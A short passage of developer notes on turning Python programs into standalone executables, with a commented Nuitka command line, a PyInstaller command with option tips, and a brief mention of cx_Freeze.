# Using python -m is preferred to # simply calling nuitka # You may try these as a last resort: # --follow-stdlib # --force-dll-dependency-cache-update # # Note that follow-stdlib may require # including all modules in the .py # --include-module=site # # You may force include pkg/modules: # --include-plugin-directory= # # You may use a different compiler: # --mingw64 | --clang | --msvc=<ver> # # You may try linking optimizations: # --lto # # You may cross arch compile: # --python-arch= # # In Windows you may specify another # dir for extraction (like C:) with # --windows-onefile-tempdir-spec= # # In Windows you may force the stdout # and stderr to specific files with # --windows-force-stdout-spec= # --windows-force-stderr-spec= # > Don't use UPX with nuitka EXEs python -m nuitka --output-dir=nuitka-build --assume-yes-for-downloads --follow-imports --standalone --onefile --remove-output --windows-onefile-tempdir --include-data-file=<additional-dir>/=<additional-dir>/ <main-py-file>
- PyInstaller bundles the current python interpreter and the package into an executable:
# Try using UPX: --upx-dir # Try without unicode: -a # Force import: --hidden-import <pkg> # Stricter: # --win-no-prefer-redirects # --win-private-assemblies python -m pyinstaller -c -F --clean <main-py-file>
- cx_Freeze is another alternative but requires Microsoft Visual C++/SDK to create the bundles